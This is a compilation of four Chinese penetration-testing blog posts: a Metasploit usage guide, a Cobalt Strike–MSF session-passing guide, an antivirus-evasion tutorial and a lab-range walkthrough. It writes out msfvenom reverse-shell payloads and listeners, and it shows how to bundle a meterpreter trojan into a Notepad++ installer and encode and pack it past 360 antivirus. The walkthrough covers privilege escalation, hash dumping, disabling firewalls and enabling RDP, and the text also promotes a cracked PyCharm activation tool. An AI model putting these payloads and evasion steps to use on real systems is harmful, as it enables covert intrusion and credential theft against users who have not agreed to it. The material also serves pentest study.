2026最新 Metasploit Framework (MSF) 使用指南 引言Metasploit Framework（MSF）是一款功能强大的开源安全漏洞检测工具，被广泛应用于渗透测试中。它内置了数千个已知的软件漏洞，并持续更新以应对新兴的安全威胁。MSF不仅限于漏洞利用，还包括信息收集、漏洞探测和后渗透攻击等多个环节，因此被安全社区誉为“可以黑掉整个宇宙”的工具。本文旨在详细介绍MSF的基础知识和基本使用方法，帮助初学者快速上手。一、Metasploit Framework 介绍1.1 MSF 概述Metasploit Framework最初由HD Moore于2003年发布，并于2007年使用Ruby语言重写。MSF默认集成在Kali Linux中，同时也支持在非Kali环境下安装和使用。它提供了一套完整的渗透测试框架，包括漏洞利用模块（exploits）、攻击载荷（payloads）、辅助模块（auxiliary）、编码器（encoders）、空指令（nops）、后渗透模块（post）等多个组件。1.2 MSF 主要组件Exploits（漏洞利用模块）：利用目标系统中的已知漏洞进行攻击。exploit漏洞利用模块路径/usr/share/metasploit-framework/modules/exploits 例如我需要对windows的系统漏洞的利用，我可以查看windows模块Payloads（攻击载荷）：攻击成功后，在目标系统中执行的代码或指令。/usr/share/metasploit-framework/modules/payloads 在Metasploit框架中，Payload扮演着至关重要的角色，主要分为Single、Stager和Stage三种类型。Single Payload是完全独立的，功能单一且易于使用，类似于运行一个简单的程序命令，但有可能被非Metasploit工具捕获。而Stager Payload则负责在目标系统与攻击者之间建立网络连接，并下载额外的组件或应用程序，常见类型有reverse_tcp和bind_tcp，分别实现反向连接和正向连接。Stage Payload是Stager下载后执行的更高级、无大小限制的Payload组件。在实际应用中，正向连接适用于攻击机在内网、靶机在外网且靶机防火墙限制严格的情况，但可能因目标端口流量过大而失败。反向连接则更适用于双方均在外网或内网的环境，此时被攻击机可主动连接攻击机，即使防火墙阻止进入的流量也无法阻挡外出连接。特别地，当被攻击机的防火墙极度严格，仅允许80或443端口与外部通信时，使用reverse_http或reverse_https Payload进行反向连接成为理想选择。Auxiliary（辅助模块）：执行信息收集、扫描、嗅探等功能，辅助渗透测试。不直接执行攻击。例如，使用SMB_version辅助模块扫描SMB服务版本：use auxiliary/scanner/SMB/SMB_version set RHOSTS 192.168.1.0/24 run 目录如下MSF利用扫描，我的机器上没有这个服务，所以扫不出来。Encoders（编码器）：对Payload进行加密，以绕过安全软件的检测。Nops（空指令）：提高Payload的稳定性和可靠性。Post（后渗透模块）：在取得目标系统控制权后，执行进一步的攻击动作。二、Metasploit Framework 基础安装与配置2.1 Kali Linux 中的 MSF在Kali Linux中，MSF默认已安装，用户可以直接通过终端启动MSF控制台。bash复制代码 msfconsole 2.2 非Kali Linux 环境下的安装在非Kali Linux环境下，用户可以通过以下命令一键安装MSF：bash复制代码 curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall 安装完成后，建议添加新用户并切换到该用户下运行MSF，以避免权限问题。2.3 更新与升级Kali Linux 环境：apt update apt upgrade metasploit-framework 非Kali Linux 环境：bash复制代码 msfupdate 三、Metasploit Framework 基础用法3.1 启动 MSF 控制台在终端中输入 msfconsole 命令启动MSF控制台。首次启动可能会创建数据库，建议以非root用户启动以确保数据库同步。3.2 搜索与选择模块搜索模块：使用 search 命令搜索特定模块，如 search ms17_010。选择模块：使用 use 命令选择特定模块，如 use exploit/windows/SMB/ms17_010_eternalblue，也可以使用搜索到的结果的索引，比如3.3 查看模块信息使用 info 命令查看当前模块的详细信息。3.4 配置模块参数使用 show options 查看模块需要配置的参数。使用 set 命令设置参数值，如 set RHOSTS 192.168.3.172。可以使用 setg 设置全局参数，避免在每个模块中重复设置。3.5 执行攻击配置完成后，使用 exploit 或 run 命令执行攻击，这里一般看习惯，都是用的run。可以使用 exploit -j 在后台运行攻击。3.6 后渗透阶段成功攻击后，将进入Meterpreter会话，可以进行一系列后渗透操作，如文件操作、提权、信息收集等。该表来自csdn 剑客 getshell Meterpreter > ? ========================================== 核心命令： ========================================== 命令 说明 ------- ------------ ? 帮助菜单 background 把当前会话挂到后台运行 bg background命令的别名 bgkill 杀死后台meterpreter 脚本 bglist 列出正在运行的后台脚本 bgrun 执行一个meterpreter脚本作为后台线程 channel 显示信息或控制活动频道 close 关闭一个频道 detach 分离Meterpreter会话（用于 http/https） disable_unicode_encoding 禁用 unicode 字符串的编码 enable_unicode_encoding 启用 unicode 字符串的编码 exit 终止 Meterpreter 会话 get_timeouts 获取当前会话超时值 guid 获取会话 GUID help 帮助菜单 info 显示有关 Post 模块的信息 irb 在当前会话中打开一个交互式 Ruby shell load 加载一个或多个 Meterpreter 扩展 machine_id 获取连接到会话的机器的 MSF ID migrate 将服务器迁移到另一个进程 pivot 管理枢轴侦听器 pry 在当前会话上打开 Pry 调试器 quit 终止 Meterpreter 会话 read 从通道读取数据 resource 运行存储在文件中的命令 run 执行一个 Meterpreter 脚本或 Post 模块 secure （重新）协商会话上的 TLV 数据包加密 sessions 快速切换到另一个会话 set_timeouts 设置当前会话超时值 sleep 强制 Meterpreter 安静，然后重新建立会话 ssl_verify 修改 SSL 证书验证设置 transport 管理运输机制 use 不推荐使用的load命令别名 uuid 获取当前会话的 UUID write 将数据写入通道 ========================================== Stdapi：文件系统命令 ========================================== 命令 说明 ------- ------------ cat 将文件内容读到屏幕上 cd 切换目录 checksum 检索文件的校验和 cp 将源复制到目标 del 删除指定文件 dir 列出文件（ls 的别名） download 下载文件或目录 edit 编辑文件 getlwd 打印本地工作目录 getwd 打印工作目录 lcd 更改本地工作目录 lls 列出本地文件 lpwd 打印本地工作目录 ls 列出文件 mkdir 制作目录 mv 将源移动到目标 pwd 打印工作目录 rm 删除指定文件 rmdir 删除目录 search 搜索文件 show_mount 列出所有挂载点/逻辑驱动器 upload 上传文件或目录 ========================================== Stdapi：网络命令 ========================================== 命令 说明 ------- ------------ arp 显示主机 ARP 缓存 getproxy 显示当前代理配置 ifconfig 显示界面 ipconfig 显示接口 netstat 显示网络连接 portfwd 将本地端口转发到远程服务 resolve 解析目标上的一组主机名 route 查看和修改路由表 ========================================== Stdapi：系统命令 ========================================== 命令 说明 ------- ------------ clearev 清除事件日志 drop_token 放弃任何活动的模拟令牌。 execute 执行命令 getenv 获取一个或多个环境变量值 getpid 获取当前进程标识符 getprivs 尝试启用当前进程可用的所有权限 getid 获取服务器运行的用户的 SID getuid 获取服务器运行的用户 kill 终止进程 localtime 显示目标系统本地日期和时间 pgrep 按名称过滤进程 pkill 按名称终止进程 ps 列出正在运行的进程 reboot 重启远程计算机 reg 修改远程注册表并与之交互 rev2self 在远程机器上调用 RevertToSelf() shell 放入系统命令 shell shutdown 关闭远程计算机 steal_token 尝试从目标进程窃取模拟令牌 suspend 暂停或恢复进程列表 sysinfo 获取有关远程系统的信息，例如 OS ========================================== Stdapi：用户界面命令 ========================================== 命令 说明 ------- ------------ enumdesktops 列出所有可访问的桌面和窗口站 getdesktop 获取当前的meterpreter桌面 idletime 返回远程用户空闲的秒数 keyboard_send 发送击键 keyevent 发送按键事件 keyscan_dump 转储击键缓冲区 keyscan_start 开始捕获击键 keyscan_stop 停止捕获击键 mouse 发送鼠标事件 screenshare 实时观看远程用户桌面 screenshot 抓取交互式桌面的截图 setdesktop 更改meterpreters当前桌面 uictl 控制一些用户界面组件 ========================================== Stdapi：网络摄像头命令： ========================================== 命令 说明 ------- ------------ record_mic 从默认麦克风录制音频 X 秒 webcam_chat 开始视频聊天 webcam_list 列出网络摄像头 webcam_snap 从指定的网络摄像头拍摄快照 webcam_stream 从指定的网络摄像头播放视频流 ========================================== Stdapi：音频输出命令： ========================================== 命令 说明 ------- ------------ play 在目标系统上播放波形音频文件 (.wav) ========================================== Priv：权限提升命令： ========================================== 命令 说明 ------- ------------ getsystem 尝试将您的权限提升到本地系统的权限。 ========================================== Priv：密码数据库命令： ========================================== 命令 说明 ------- ------------ hashdump 转储 SAM 数据库的内容 ========================================== Priv：Timestomp 命令： ========================================== 命令 说明 ------- ------------ timestomp 操作文件 MACE 属性 meterpreter > 四、常见问题与解决方案4.1 数据库连接问题如果初次运行MSF时未正确初始化数据库，可能会出现连接问题。可以使用以下命令解决：bash复制代码 msfdb init 若已初始化但连接不上，尝试重启数据库服务：bash复制代码 msfdb restart 4.2 权限不足问题在非Kali Linux环境下，以root用户运行MSF可能会遇到权限不足的问题。建议添加新用户并切换到该用户下运行MSF。4.3 攻击失败攻击失败可能是由多种原因造成的，如目标系统未开放相应端口、漏洞已被修补或Payload被安全软件拦截等。建议仔细检查目标系统的配置和安全状态，并尝试不同的Payload和配置选项。五、高级攻击技术5.1 被动利用（Passive Exploit）被动利用是一种不直接向目标系统发送攻击载荷的攻击方式，而是通过诱骗目标系统主动连接含有漏洞利用代码的服务器。这种方式适用于目标系统防火墙设置严格或客户端软件存在漏洞的场景。示例：利用浏览器漏洞假设目标系统的浏览器存在已知漏洞，攻击者可以设置一个包含漏洞利用代码的Web页面，并诱骗目标用户访问该页面。当浏览器加载页面时，漏洞利用代码将被执行，从而实现攻击。use exploit/windows/browser/ms10_002_aurora set URIPATH /exploit set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.1.101 exploit 5.2 复合攻击链（Attack Chain）在复杂攻击场景中，攻击者可能需要利用多个漏洞来实现最终目标。通过构建一个攻击链，攻击者可以依次利用多个漏洞，逐步深入目标系统。示例：内网横向移动假设攻击者已经通过MS17_010漏洞控制了内网中的一台机器，接下来可以通过其他漏洞（如SMBv1漏洞、密码猜测等）横向移动到其他机器上。5.3 利用定时任务或计划任务在某些情况下，攻击者可以修改目标系统的计划任务或定时任务，以定时执行恶意代码。这种方式可以实现长期潜伏和持续攻击。六、后渗透阶段的高级操作6.1 权限提升在渗透测试过程中，获得系统权限是目标之一。Meterpreter提供了多种提权技术，包括但不限于：使用getsystem命令尝试直接提权。利用已知的系统漏洞进行提权（如利用脏牛漏洞）。通过上传并执行mimikatz等工具获取明文密码。6.2 信息收集后渗透阶段，深入的信息收集对于理解目标系统的架构和配置至关重要。Meterpreter提供了丰富的命令来收集系统信息，包括但不限于：使用sysinfo命令获取系统基本信息。运行run scraper命令收集系统详细信息并保存到本地。使用run hashdump或run smart_hashdump导出密码哈希值。6.3 持久化为了保持对目标系统的长期访问，攻击者可能会尝试在系统中植入后门或修改系统设置以实现持久化。使用Meterpreter的persistence脚本在目标系统中设置反弹Shell。修改注册表或服务以实现开机自启动。七、自定义模块开发MSF的强大之处在于其可扩展性。用户可以根据自己的需求开发自定义的exploit模块、payload或auxiliary模块。7.1 开发Exploit模块开发自定义Exploit模块需要深入了解目标漏洞的利用机制，并熟悉Ruby编程语言。以下是一个简单的开发流程：研究漏洞：深入理解漏洞的原理和触发条件。编写Ruby脚本：使用Metasploit的API编写exploit脚本。测试与调试：在安全的测试环境中测试exploit的有效性和稳定性。7.2 Payload开发自定义Payload的开发同样需要深入的技术背景，包括汇编语言、系统调用等。用户可以根据需要开发具有特定功能的Payload，如自定义shellcode。八、复杂攻击场景应用8.1 APT攻击模拟高级持续性威胁（APT）攻击是一种长期、隐蔽且针对性的网络攻击。利用MSF，安全专业人员可以模拟APT攻击过程，评估组织的安全防御能力。8.2 水坑攻击水坑攻击是一种针对特定目标的钓鱼攻击。攻击者会提前预测目标可能访问的网站或资源，并在这些位置植入恶意代码。通过MSF，攻击者可以模拟整个水坑攻击过程，从漏洞选择到Payload执行。8.3 多阶段攻击多阶段攻击涉及多个攻击阶段和不同的漏洞利用点。攻击者需要根据目标系统的具体情况设计攻击路径，并依次利用多个漏洞实现最终目标。九、总结本文详细介绍了Metasploit Framework的基础知识和基本使用方法，包括安装、配置、模块选择、参数配置和攻击执行等环节。通过学习本文，读者可以初步掌握MSF的使用技巧，为进一步学习进阶用法打下坚实基础。在后续文章中，我们将深入探讨MSF的进阶用法，包括更复杂的攻击场景、高级后渗透技巧以及自定义模块开发等内容。参考 ：https://blog.csdn.net/weixin_45588247?type=blog

CS与MSF联动，CobaltStrik和MSF联动的方法，msf上线CobaltStrik CS与MSF联动0x01 CS与MSFCobaltStrike（简称CS）是一款美国Red Team开发的渗透测试神器。Armitage是一个MetasploitFramework（简称MSF）的图形化界面工具，而CobaltStrike大家可以理解其为Armitage的商业版。早期版本CobaltSrtike依赖MetasploitFramework框架，而现在CobaltStrike已经不再使用MetasploitFramework而是作为单独的平台使用，它分为客户端(Client)与服务端(Teamserver)，服务端是一个，客户端可以有多个，团队可进行分布式协团操作。CobalStrike 与 MetasploitFramework 均是渗透测试中不可缺少的利器，各有所长。前者更适合做稳控平台，后者则更擅长内网各类探测搜集与漏洞利用。两者更需要灵活的联动，各自相互依托，从而提升渗透的效率。0x02 CS传递会话到MSF为了方便演示操作，将CS的服务端与MSF服务都设置在同一个IP上。1. CS操作先在CobaltStrike上新建一个监听器（Beacon HTTP）这里的IP端口号指CS服务端利用CobaltStrike生成一个后门文件将后门文件放在受害主机中执行，之后受害主机就会上线到CS了至此，CobaltStrike获得到了一个会话2. MSF操作在MetasploitFramework上开启一个meterpreter监听（reverse_http），用于接收CobaltStrike传递过来到会话use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost 192.168.158.129 # MSF所在主机的ip set lport 4444 # MSF所在主机自定义端口号 run 3. 会话传递先在CobaltStrike上创建一个监听（Foreign HTTP），IP 和 端口号需要与MetasploitFramework中设置监听的保持一致然后在CobaltStrike上选中要传递到会话，点击右键选择增加会话（Spawn） ，再选择刚刚创建的监听（Foreign HTTP）上述步骤完成后，在MetasploitFramework中就可以看到CobaltStrike传递过来到会话了0x03 MSF传递会话到CS1. CS操作在CobaltStrike上新建一个监听器（Beacon HTTP）2. MSF操作先通过msfvenom生成后门文件msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.158.129 LPORT=7777 -f exe > msfshell.exe　　 这里的IP端口号指MSF服务所在主机使用msfconsole启动MetasploitFramework，设置meterpreter监听用于接收后门文件反弹到shelluse exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.158.129 # msf所在主机的ip set lport 7777 # msf所在主机自定义端口号，与后门文件中的一致 run 将后门文件放置受害主机运行后，MetasploitFramework上会获得一个meterpreter的shell3. 会话传递将获取到的MetasploitFramework会话挂至后台，会看到一个会话sessions idbackground 调用 payload_inject 模块，将指定会话session id注入到新到CobaltStrike会话中use exploit/windows/local/payload_inject set payload windows/meterpreter/reverse_http set lhost 192.168.158.129 # CS服务端IP set lport 80 # CS服务端监听的端口号 set DisablePayloadHandler True set PrependMigrate True set session 4 # 会话id run 上述步骤完成后，在CobaltStrike中就可以看到MetasploitFramework传递过来到会话了参考文章https://teamssix.com/210129-191714.htmlCobaltstrike 学习笔记（三）CS与MSF联动 -

【kali笔记】MSF内网渗透，免杀过360 【Kali笔记】MSF内网渗透，免杀过360前言免杀，全称为反杀毒技术（Anti Anti-Virus），是一种能使病毒或木马免于被杀毒软件查杀的技术。免杀技术的定义与原理定义：免杀技术通过修改病毒、木马的内容或者特征码，使其能够躲避杀毒软件的查杀。原理：杀毒软件通常通过识别病毒或木马的特征码来检测和清楚恶意软件。免杀技术通过修改这些特征码，使病毒或木马在杀毒软件的检测下“隐身”。免杀的分类免杀技术可以根据不同的标准进行分类，下面是两种常见的分类方式：按是否有源代码分类开源免杀：指在病毒、木马源代码的前提下，通过修改源代码进行免杀。手工免杀：指在仅有病毒、木马的可执行文件（如.exe文件，即PE文件）的情况下进行免杀。按免杀方式分类文件免杀和查杀：在不运行程序的前提下使用杀毒软件进行对该程序的扫描。内存的免杀和查杀：通过运行程序后，使用杀毒软件的内存查杀功能或特定的工具（如OD）进行查杀。MSF免杀的实验裸奔木马1、在Kali中直接使用MSFvenom生成木马文件，不做任何免杀处理，如下图：打开服务器传输到靶机直接就被杀了我们先信任该文件，保存到本地，用其他的木马分析平台看看在线杀毒腾讯哈勃分析系统好家伙，未发现风险。。。。。沙箱国家计算机病毒协同分析平台恶意是正常的，但我看到了如下结果，360没有检测出结果！！！打开360，经过评测，这个平台不行 。。上述测试结果仅为参考，VirusTotal拥有超过40种反病毒引擎，但仍不能保证扫描通过的文件绝对安全，因为威胁总在不断演进。事实上，无软件能确保100%检测病毒与恶意软件，杀毒软件旨在最大化用户保护。该平台支持邮件提交或直接上传文件进行分析，且每15分钟更新病毒库，以最新反病毒引擎检测多数潜在威胁。MSF编码在Meatsploit框架中，一种免杀方法是利用MSF编码器。该编码器能重新排列和编码攻击载荷文件，从而改变可执行代码的形态，以躲避杀毒软件的检测。具体来说，MSF编码器能将原始可执行程序转换为一个新的二进制文件。运行此新文件时，MSF编码器会在内存中解码并执行原始程序。查看所有的编码格式MSFvenom -l encoderMetasploit 自带了用于捆绑木马程序的程序模板，其位置在data/templates/template.exe ，虽然这个模板经常会更新，但是其仍是各大反病毒木马厂商的关注点。为了更好的实现免杀，此处自主选择一个待捆绑程序。3、使用以下命令生成 Windows环境下的木马、并捆绑到npp.7.8.5.installer.exe文件上，下载地址：https://notepad-plus-plus.org/downloads/v7.8.5/同时对木马文件进行x86/shikata_ga_nai编码方式的免杀处理：MSFvenom -p Windows/meterpreter/reverse_tcp lhost=10.0.0.68 lport=4444 -e x86/shikata_ga_nai -x npp.7.8.5.Installer.exe -i 12 -f exe -o ./npp.exe每项参数参数备注-e指定编码方式对攻击载荷进行重新编码-x指定木马捆绑在哪个可执行程序模版上-i指定对目标进行编码的次数，多次编码理论上来讲有助于免杀-f指定MSF编码器输出的程序的格式-o指定处理完毕后的文件输出路径将木马文件传输给靶机用到 multi/handler 模块配置如下双击运行，这里是运行着腾讯电脑管家的。成功上线电脑管家360免杀了。。。。。。我怀疑我装了个假的360。沙箱VirusTotal41/73的查杀率UPX加壳UPX打包器原理简单：压缩可执行文件，附加解压缩代码。运行时先解压，再执行。其旨在反调试、防逆向。此用打包器，为改变后门特征码。1、Kali 内置了 upx 工具，执行 upx 命令可查看简略的参数介绍：2、执行以下命令，对刚才生成的木马文件进行加壳处理：将加壳后的木马传到靶机，360检测，还是免杀。。。。垃圾360执行这个exe程序，成功加壳后的virustotal查杀率36/72明显比之前41/73查杀率，要低了不少总结免杀与反免杀的较量永无止境。本文所述方法目前有效，但技术日新月异，免杀需不断实践与创新，方能在实战中立于不败之地。往期推荐如何在GZCTF部署简单的Web和PWN动态flag？【CTF杂项】常见文件文件头、文件尾格式总结及各类文件头一款开源持续更新的后渗透免杀框架【RCE剖析】从0-1讲解RCE漏洞绕过，Windows与Linux/RCE漏洞绕过方式总结----实战解析

CISP-PTE综合靶场解析，msf综合利用MS14-058【附靶场环境】 CISP-PTE综合靶场解析，msf综合利用MS14-058【附靶场环境】前言需要靶场的朋友们，可以在后台私信【pte靶场】，有网安学习群，可以关注后在菜单栏选择学习群加入即可信息收集题目要求：给定一个ip，找到3个KEY。nmap扫描，为了节省时间，这里改了端口，就不使用-p-全端口扫描了，源靶机在20000+端口扫描到这个端口进行访问御剑扫描有爬虫协议访问后台首页看看有没有git泄露，报了个iis报错界面，iis有web.config看看有没有备份文件，嗯，很好打开，看到了账号密码用sqlserver连接不知道为什么应该是系统问题使用pycharm专业版连接，指定好数据库，主机，账号，端口，密码后台回复【激活】即可获取 pycharm专业版 激活到2099的激活工具（仅限windows）有4张表找到管理员密码登录就好，找到了第一个keyweb漏洞利用文件上传，a都上传不了，说明是白名单，换思路这里开始分析这里我们看到这个管理上传文件，有一个aspx文件下载下来看看，这不是一句话木马嘛访查看源码问这个文件传参试试蚁剑连接查看系统信息查看系统配置，改密码，没有权限我们返回web目录，有一个key2key.key这个就是第二个key后渗透我们打开kali，并配置好桥接模式生成后门，并把这个payload记好，便签即可打开msfconsole，使用这个模块multi/handler由于生成的木马文件在kali里面，kali没有蚁剑，这时候我们就将后门传到本机，然后由本机传到靶机上，python3开启http服务本机访问这个kali的IP地址，这时候如果出现页面不可访问，那么大概率是防火墙没有放行8888端口，需要在kaili放行8888端口，命令参考sudo ufw allow 8888/tcp下载下来后，用蚁剑传文件到目标靶机上使用web虚拟shell执行后门反弹shell成功获取系统信息，没有权限提权1、ms14-058成功上线后，使用bg维持会话的同时继续执行其他模块，可以看到bg之后会生成一个session，记住这个session，使用search windows/local/ms14_058搜索模块，use 0指定payload模块为搜索到的第一个结果，使用ms14_058模块的时候，需要设置这个session为你刚刚上线成功的session，否则会导致执行不成功，run这里遇到个问题端口配置不正确该站点存在此漏洞，但是shell会话建立不成功，这个时候就是你的端口配置不对了，必须要是你msfvenom后门使用模块的指定端口，不然都会不成功重新设置端口为msfvenom设置的端口，网上大多数教程都没有详细介绍，只是走个过场，我自己也试过很多坑，才发现可以看到，提权成功了，使用hashdump查看用户hash密码解密hash密码开启3389远程连接run post/windows/manage/enable_rdp我们去网站根目录，还发现有个bak文件，2022-12-12打开，既然是我们sqlserver数据库超级管理员账户和密码利用这个sa账户，关掉防火墙用到 admin/mssql/mssql_exec模块执行成功，如果不关闭防火墙的话可能导致远程连接连接不上打开桌面2、手工得知sa账户密码后，使用sa登录获取系统命令，这时候发现，sa拥有system系统权限关闭防火墙netsh firewall set opmode mode="disable"开启3389远程连接wmic rdtoggle where servername="%computername%" call setallowtsconnections 1开启3389成功，在这里虽然没有用户密码，但是可以新建用户，然后远程登录，这里还有另外一种方法直接在命令行查找key